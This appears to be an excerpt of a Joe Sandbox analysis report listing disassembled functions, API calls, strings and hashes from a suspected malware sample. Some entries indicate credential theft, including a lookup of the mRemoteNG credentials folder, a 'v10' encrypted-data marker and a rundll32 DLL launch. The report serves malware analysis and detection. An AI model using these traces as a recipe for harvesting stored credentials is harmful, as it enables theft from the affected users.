Instruction ID: 44b323920295c4fb89eb1bce32c162881aab2a8f3cc3f592b47d8d30bc42832a
Opcode Fuzzy Hash: 42eeed391150b6b7734b0f1f20b7e98e61a16da120e23c22ba65cd3c9657df05
Instruction Fuzzy Hash: A0A16AB0A00645CFDB54CF29C584B99FBF1BF88704F5486AED85A97B01E730A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD414E2
GetCurrentThreadId.KERNEL32 ref: 6CD41546
InitializeConditionVariable.KERNEL32(?), ref: 6CD415BA
free.MOZGLUE(?), ref: 6CD416B4

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 9d5dbb1dbb93d9a7d3e36f70b4d0a7a14edec91e91fbb0cb63d57a924d35aa7f
Instruction ID: daeee159114a82cfaf032e66e3eced24fdd647a4d197d20a721ac1cd551afd99
Opcode Fuzzy Hash: 9d5dbb1dbb93d9a7d3e36f70b4d0a7a14edec91e91fbb0cb63d57a924d35aa7f
Instruction Fuzzy Hash: 4861E271A00710DBDB119F25C880BEEB7B4BF8A308F44951DEE8A57761DB31E958CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD3DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CD3D38A,?), ref: 6CD3DC6F
free.MOZGLUE(?,?,?,?,?,6CD3D38A,?), ref: 6CD3DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CD3D38A,?), ref: 6CD3DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CD3D38A,?), ref: 6CD3DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CD3D38A,?), ref: 6CD3DD4A

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 5ebce18bc704f49ca8868d09105c396e7415c56ede11970633a60f0ad63343e0
Instruction ID: e72f73cf231f4d187fe6e10c8d1449e96869b26ae5852a17988bae7b5e644407
Opcode Fuzzy Hash: 5ebce18bc704f49ca8868d09105c396e7415c56ede11970633a60f0ad63343e0
Instruction Fuzzy Hash: AD416BB5A00215DFCB00CF99C88099AB7F5FF8A304B155469D94AABB21E771FC00CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00417BA0 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00417BAE

Part of subcall function 00417641: __mtinitlocknum.LIBCMT ref: 00417657
Part of subcall function 00417641: __amsg_exit.LIBCMT ref: 00417663
Part of subcall function 00417641: EnterCriticalSection.KERNEL32(00000000,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D,?,?,00417158,00000000,00421AC0,0041719F), ref: 0041766B

DecodePointer.KERNEL32(004219C8,00000020,00417CF1,00000000,00000001,00000000,?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D), ref: 00417BEA
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417BFB

Part of subcall function 004179C2: EncodePointer.KERNEL32(00000000,004191B2,00423DC8,00000314,00000000,?,?,?,?,?,00417F08,00423DC8,Microsoft Visual C++ Runtime Library,00012010), ref: 004179C4

DecodePointer.KERNEL32(-00000004,?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C21
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C34
DecodePointer.KERNEL32(?,00417D13,000000FF,?,00417668,00000011,00000000,?,00417A49,0000000D,?,?,004173CF,0041726D), ref: 00417C3E

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction ID: 2ecc3aad81c9b81e2b27e7e3d170e1f8428b359c85680f8586e03e13f1a28f2c
Opcode Fuzzy Hash: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction Fuzzy Hash: 39314C70A58309DBDF509FA9D8846DDBBF1BB48314F10802BE001A6290EB7C49C5CFAD

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1FA80: GetCurrentThreadId.KERNEL32 ref: 6CD1FA8D
Part of subcall function 6CD1FA80: AcquireSRWLockExclusive.KERNEL32(6CD6F448), ref: 6CD1FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD26727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CD267C8

Part of subcall function 6CD34290: memcpy.VCRUNTIME140(?,?,6CD42003,6CD40AD9,?,6CD40AD9,00000000,?,6CD40AD9,?,00000004,?,6CD41A62,?,6CD42003,?), ref: 6CD342C4

Strings

data, xrefs: 6CD26593

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 6f8fba136f000b85b1640fa28d090670ef60e9b487291bebd38e3f7ff6ddb349
Instruction ID: 189627b153fea2eac0e8b69f3fba1e935ef3a0560e79066153cbac75edb50035
Opcode Fuzzy Hash: 6f8fba136f000b85b1640fa28d090670ef60e9b487291bebd38e3f7ff6ddb349
Instruction Fuzzy Hash: 05D1E375A083408FD724DF25D850B9FB7E5AFC5308F10492DD689C7BA1EB35A90ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 00415960 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(02F8ADF8,?,?,?,0040F76C,?,02F8ADF8,00000000), ref: 0041596C
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\mRemoteNG\,02F8ADF8,02F8ADF8,?,0040F76C,?,02F8ADF8), ref: 00415990
lstrlen.KERNEL32(?,?,0040F76C,?,02F8ADF8), ref: 004159A7
wsprintfA.USER32 ref: 004159C7

Strings

C:\Users\user\AppData\Roaming\mRemoteNG\, xrefs: 0041598B, 004159C0, 004159D0
%s%s, xrefs: 004159B5

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\mRemoteNG\
API String ID: 1206339513-307460461
Opcode ID: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction ID: ad4ab28855ecf1822f83189248f4f970b5300654cb1d5d0a0ffaf2e78bbea45f
Opcode Fuzzy Hash: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction Fuzzy Hash: 69015A75510908FFCB14DFA8D948EAE7BB9FF88344F108588F90A9B340CA71AA40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CCEEB57,?,?,?,?,?,?,?,?,?), ref: 6CD1D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CCEEB57,?), ref: 6CD1D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CCEEB57,?), ref: 6CD1D673
free.MOZGLUE(?), ref: 6CD1D888

Strings

|Enabled, xrefs: 6CD1D81E

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 4b169a43ce0545fc5b6561e2dae74625fe888b650c0517428ee5062cbed251f7
Instruction ID: 3f477e37e9c058af8ed0c0126875fd44dcd89adcd6e61fe9a53614bebb206805
Opcode Fuzzy Hash: 4b169a43ce0545fc5b6561e2dae74625fe888b650c0517428ee5062cbed251f7
Instruction Fuzzy Hash: EEA127B0A08308CFDB02CF69D4807AEBBF1AF4A318F14805CD895ABB51D731A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F88120,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

C:\Windows\system32\rundll32.dll, xrefs: 004110BF
<, xrefs: 004112AC
"" , xrefs: 004111DC
.dll, xrefs: 00411054

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: f52b10ff22b080ef8e657153652d6dd7723079aa8bb9e74f693d59e80a0607dd
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: f52b10ff22b080ef8e657153652d6dd7723079aa8bb9e74f693d59e80a0607dd
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CD1F480

Part of subcall function 6CCEF100: LoadLibraryW.KERNEL32(shell32,?,6CD5D020), ref: 6CCEF122
Part of subcall function 6CCEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCEF132

CloseHandle.KERNEL32(00000000), ref: 6CD1F555

Part of subcall function 6CCF14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CCF1248,6CCF1248,?), ref: 6CCF14C9
Part of subcall function 6CCF14B0: memcpy.VCRUNTIME140(?,6CCF1248,00000000,?,6CCF1248,?), ref: 6CCF14EF

Part of subcall function 6CCEEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CCEEEE3

CreateFileW.KERNEL32 ref: 6CD1F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CD1F523

Strings

\oleacc.dll, xrefs: 6CD1F4CB

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 55ddf3689d0588efb5215f3d5f86dde560ea09e5b8107773b187d26c03228832
Instruction ID: 1de2eb864e41f00062e16d5e01fb2b53f399552493f8800da76be872d306b66f
Opcode Fuzzy Hash: 55ddf3689d0588efb5215f3d5f86dde560ea09e5b8107773b187d26c03228832
Instruction Fuzzy Hash: 8941A2706087109FE720DF29D884A9BB7F4AF85318F500A1CF69183A60EB30D949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CD47526
__Init_thread_footer.LIBCMT ref: 6CD47566
__Init_thread_footer.LIBCMT ref: 6CD47597

Strings

kernel32.dll, xrefs: 6CD47557
UnmapViewOfFile2, xrefs: 6CD47552

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 0db10dfa784e7e2516e193c1069698ed975515805a2fade27ed08b25c82f2f21
Instruction ID: f6cddd1c38879a783845fe561411df5b2b1d1a69bd8887eed4a26836a64ea88b
Opcode Fuzzy Hash: 0db10dfa784e7e2516e193c1069698ed975515805a2fade27ed08b25c82f2f21
Instruction Fuzzy Hash: 6E21F831704941FBEA14EBA69914F797379FB46364F12852DD7098BFA0C731A805C5B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD4C0E9), ref: 6CD4C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CD4C437
FreeLibrary.KERNEL32(?,6CD4C0E9), ref: 6CD4C44C

Strings

NtQueryVirtualMemory, xrefs: 6CD4C431
ntdll.dll, xrefs: 6CD4C413

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2243706546de7849ca74213bcec570e00697a81d40f725ad68e1046cbd5af9a3
Instruction ID: 2d0c377a36fb66fec76e6e667899f9b6b67fff497fdcbe193514b3d53379a55c
Opcode Fuzzy Hash: 2243706546de7849ca74213bcec570e00697a81d40f725ad68e1046cbd5af9a3
Instruction Fuzzy Hash: F1E092B0601B01ABFF006B738A18739BBFCB786204F00915AAB4891762EBB1D004EB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CD475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD4748B,?), ref: 6CD475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CD475D7
FreeLibrary.KERNEL32(?,6CD4748B,?), ref: 6CD475EC

Strings

ntdll.dll, xrefs: 6CD475B3
RtlNtStatusToDosError, xrefs: 6CD475D1

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: ede829837d1889fcabb1113d4bdac49c36bf007cd33ec041ba3a3bf32eec4aeb
Instruction ID: bfa739b8c137f7cfdb44701528a0a64c72928e6815718c8586fc57aa978be564
Opcode Fuzzy Hash: ede829837d1889fcabb1113d4bdac49c36bf007cd33ec041ba3a3bf32eec4aeb
Instruction Fuzzy Hash: ADE09272644701BBFB006BA3C848721BAFCEB06259F208026EB05D5A62EBB4D045DF20

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CD4BE49), ref: 6CD4BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CD4BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CD4BE49), ref: 6CD4BF38
RtlReAllocateHeap.NTDLL ref: 6CD4BF83
RtlFreeHeap.NTDLL(6CD4BE49,00000000), ref: 6CD4BFA6

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 81726ae0eb29dd910d5b8d70759ec2f28ce345b6c77450c70a1d92af21711ec7
Instruction ID: 63eaa2c2c4d3b3527ea00b8872afa69feb1d7e38625f06d906eb181292b1f361
Opcode Fuzzy Hash: 81726ae0eb29dd910d5b8d70759ec2f28ce345b6c77450c70a1d92af21711ec7
Instruction Fuzzy Hash: C1519371A006019FE710CF69C880B9EB3A2FFD4314F298639D659A7BA4D731F9068F90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCE4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCE4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCE4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCE4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CCE4F1E

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ac7739f33903d466a1cbf20260d637511d9592cb22c7ba489baa280e3a88ca8e
Instruction ID: 4f87ea8287fd51f89ff640977c1b35908c490e65bbb37d53157d440368d92428
Opcode Fuzzy Hash: ac7739f33903d466a1cbf20260d637511d9592cb22c7ba489baa280e3a88ca8e
Instruction Fuzzy Hash: 0041BE716087059FC705CFA9C88095BB7E4BF8E344F108A2DF56587B51EB30E958CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040F200 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F228
strtok_s.MSVCRT ref: 0040F36D

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 89292260d13e06a3ccf44185258d8082ce40877a689944c47bb1047c3bb279de
Instruction ID: 34556820f6e5338ba8e8a845a83fb71131f6fb13afd6d5a2f2d9a2f2ab0dc7f0
Opcode Fuzzy Hash: 89292260d13e06a3ccf44185258d8082ce40877a689944c47bb1047c3bb279de
Instruction Fuzzy Hash: 4F514FB5A04209DFCB18CF54D595AAE7BB6FF48308F10817DE802AB390D734EA95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004097F0 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 115memoryCOMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 0040980B
memset.MSVCRT ref: 0040983E
LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,02F66AB8,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

@, xrefs: 00409847
v10, xrefs: 00409802

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

